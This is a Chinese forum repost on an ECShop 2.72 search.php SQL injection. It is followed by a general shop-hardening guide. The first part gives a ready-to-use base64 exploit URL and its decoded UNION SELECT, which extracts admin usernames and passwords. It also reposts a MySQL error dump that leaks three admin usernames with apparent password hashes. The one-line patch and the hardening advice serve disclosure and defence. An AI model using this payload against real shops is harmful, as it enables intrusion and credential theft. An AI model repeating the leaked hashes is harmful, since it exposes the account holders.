ecshop v2.72版本（含更早版本）的爆出產品搜索功能漏洞，該漏洞可以被他人利用，通過sql注入方式入侵ecshop網店系統。下面是官方的解決方案：

漏洞目標文件：
ecshop v2.72版本 ecshop站點根目錄/mobile/seach.php
ecshop v2.72以前版本 ecshop站點根目錄/seach.php

search.php?encode=YToxOntzOjQ6ImF0dHIiO2E6MTp7czoxMjU6IjEnKSBhbmQgMT0yIEdST1VQIEJZIGdvb2RzX2lkIHVuaW9uIGFsbCBzZWxlY3QgY29uY2F0KHVzZXJfbmFtZSwweDNhLHBhc3N3b3JkLCciXCcpIHVuaW9uIHNlbGVjdCAxIyInKSwxIGZyb20gZWNzX2FkbWluX3VzZXIjIjtzOjE6IjEiO319pTXcopyd-code

解決方案:
修改目標文件：search.php

if (is_not_null($val) )

修改為
if (is_not_null($val) && is_numeric($key))
-----------------------------------------------------
注意最近嚴重bug，search.php的注入漏洞，直接爆出所有管理員密碼！具體裡利用語句！
search.php?encode=YToxOntzOjQ6ImF0dHIiO2E6MTp7czoxMjU6IjEnKSBhbmQgMT0yIEdST1VQIEJZIGdvb2RzX2lkIHVuaW9uIGFsbCBzZWxlY3QgY29uY2F0KHVzZXJfbmFtZSwweDNhLHBhc3N3b3JkLCciXCcpIHVuaW9uIHNlbGVjdCAxIyInKSwxIGZyb20gZWNzX2FkbWluX3VzZXIjIjtzOjE6IjEiO319pTXcopyd-code

base64_decode後的語句！
a:1:{s:4:"attr";a:1:{s:125:"1') and 1=2 GROUP BY goods_id union all select concat(user_name,0x3a,password,'"\') union select 1#"'),1 from ecs_admin_user#";s:1:"1";}}

今天在一個0day上看到。 本地環境測試2.7.2. 直接包曝出。。。希望大家注意。盡快修補。我剛剛入從C#轉入php能力不夠，望高手修補。影響還是比較大的！

MySQL server error report:Array(   [0] => Array     (         [message] => MySQL Query Error     )   [1] => Array     (         [sql] => SELECT g.goods_id, g.goods_name, g.market_price, g.is_new, g.is_best, g.is_hot, g.shop_price AS org_price, IFNULL(mp.user_price, g.shop_price * '1') AS shop_price, g.promote_price, g.promote_start_date, g.promote_end_date, g.goods_thumb, g.goods_img, g.goods_brief, g.goods_type FROM `ecshop`.`ecs_goods` AS g LEFT JOIN `ecshop`.`ecs_member_price` AS mp ON mp.goods_id = g.goods_id AND mp.user_rank = '0' WHERE g.is_delete = 0 AND g.is_on_sale = 1 AND g.is_alone_sale = 1 AND g.goods_id IN ('dsktt:f1848c3adc916b8ccf6759ae29f5bfe8"') union select 1#"','bjgonghuo1:d0c015b6eb9a280f318a4c0510581e7e"') union select 1#"','shhaigonghuo1:4146fecce77907d264f6bd873f4ea27b"') union select 1#"') AND (( 1 ) ) ORDER BY goods_id DESC LIMIT 10     )   [2] => Array     (         [error] => The used SELECT statements have a different number of columns     )   [3] => Array     (         [errno] => 1222     ))
---------------------------------------------------------
Ecshop網店安全設置方法（防範網頁掛馬）

昨天看新聞，讀到一條是關於wordpress博客的新聞。Wordpress被一家國外網絡防毒公司「光榮」的被評為「2010年最危險的軟件」。Google（谷歌）也曾榮獲此殊榮。上榜原因很簡單，作為一款全球最火熱個人博客發佈平台，龐大的用戶群體，為網絡不法分子提供了一個廣闊的施展空間，非常多的站點都沒有效的得到保護，成為惡意軟件、木馬的攻擊對象。這正驗證了我們常說的一句話「那裡有人，那裡就有市場，那裡就有利潤。」作為在國內同樣受關注和使用率都非常高的ecshop網店系統，同樣也面臨著同樣情況。如何安全使用ecshop？如何設置ecshop網店安全？就是今天的全部內容。

接下來介紹的ecshop網店安全設置方法適於純linux環境下的php虛擬主機，文中提到的ecshop版本號為：ecshop v2.7.2 GBK版。

一、ecshop網店安全設置從安裝ecshop開始

養成一個良好安全防範習慣。在安裝中許多用戶都有一個習慣，一切用默認，肯定沒有錯。是的 使用默認設置，不斷點擊下一步可以幫你順利完成ecshop安裝。但是，建議用戶，在安裝ecshop的時候，建議你在安裝的時，應該注意幾個細節：

A、 在linux環境下安裝ecshop時，系統會提示我們將部分目錄要可寫權限（777）,一些用戶圖方便，省事直接將所有目錄設置為777的可寫權限，這個習慣不好，這會為你帶來安全隱患。請發點時間，根據ecshop安裝嚮導提示的要求去設置目錄權限。設置目錄權限，不會耽誤你多少時間，在中設置目錄權限777非常方便快捷。

B、 關於網站管理員帳號和密碼，這個我就不多說了吧！不要用大家都能猜的到的admin，要使用強壯密碼。

C、 關於mysql數據庫。安裝ecshop過程中，配置mysql數據庫信息時候，建議用戶能修改默認的ecshop的數據庫表前綴「ecs」。這可以給你網站安全性能加分的。

二、ecshop網店安全設置從網站目錄權限抓起

把攻擊者感謝興趣的API/CERT/ IMAGES/ JS/LANGUAGES/widget這些文件權限設置為讀取權限，的空間，可以精確設置每一張頁面的權限，給了用戶充分發揮能力的平台。你可以根據ecshop的特點，和參閱官方關於ecshop目錄權限要求的文檔，進行精確定製你網店的權限，打造一個嚴密的權限控制體系。同時，虛擬主機服務器也會將一些敏感，重要的文件自動保護起來，防止網頁掛馬或入侵，這就也就是為什麼有的客戶反映說，在刪除修改文件時，有的文件無法刪除或修改的原因。非常重要用戶網站的安全，也投入了大量的工作時間為用戶創造一個安全的網站運行部署平台。如果你的ecshop已經在運行，在設置、修改、 ecshop網頁文件遇到無法修改的文件時候，你可以參閱FTP空間部分受保護文件無法刪除的解決辦法獲取幫助。

如果你有php基礎，建議你對User.php文件進行修改，對文件中的SQL變量進行嚴格過濾，可以有效預防SQL注入的方式被掛馬。

通過上述的方法進行設置，可以有效避免很多而已攻擊代碼，抵抗攻擊者的攻擊，保護網店正常安全運行。

三、ecshop安全設置從細節做起

Ecshop系統對會員功能管理是非常可靠和成熟的。如果你的網店開通了會員註冊功能，請開通會員註冊郵件認證功能吧。好處，不言而喻，只要常上網的人都懂的，垃圾會員和垃圾信息的危害。

請你登錄你的ecshop網店管理後台，查看你的用戶列表，很多用戶安裝後，沒有清楚ecshop默認的管理員帳號和會員帳號，請記得一定清理哦。如果就這樣被人用登錄你的後台，這不能不說是一個悲劇。

網店還開啟了評論功能，請在後台開啟評論驗證功能，拒絕垃圾評論的騷擾。

四、說說ecshop模版

模版就是ecshop的「臉蛋」，一張漂亮的臉蛋，是吸引用戶的一種方式，但是神馬東西都往「臉」上抹，遲早會出事的。Ecshop免費的模版有非常多，真的是非常多，請選擇免費模版裝修ecshop網店的「臉面」的時候，請你分析下這些模版代碼，不要把「後門」和麻煩帶回家，並把這個種風險轉嫁給您的客戶，眾所周知，購物類的網站對安全是很敏感的。如果一個客戶在你的網店上發現了木馬或威脅安全的東西，我想沒幾個人還會再次光臨。推薦用戶使用官方推薦的模版提供商，或自己開發ecshop模版。

五、修改ecshop網店管理員員登錄地址

關於修改ecshop網店管理員員登錄地址，僅僅推薦，新手站長要嘗試修改ecshop網店管理員員登錄地址請做好備份。從ecshop官方論壇得到的一些信息說，修改管理員後台地址會導致一些功能無法使用和一些文件的調用。具體，我也不清楚，只提醒有需要改的用戶，請認真考慮，諮詢資深專業人士。

感謝你能夠閱讀通篇文字，真切的希望，這篇基礎教程能夠幫你完善ecshop安全設置。安全是沒有絕對的，但是可以通過我們的勤奮和努力打造一個相對安全帶環境，儘可能的抵制惡意軟件的侵襲，另外請做好網站數據的備份工作，即使發生狀況，也不用著急。備份在手，建站不愁。

轉貼自 http://www.dk101.com/Discuz/viewthre...0#ixzz1RNWwFuaU
相關討論 http://bbs.3344.eu/EcShop...7-1-1.html

不知道官網有沒有修正了..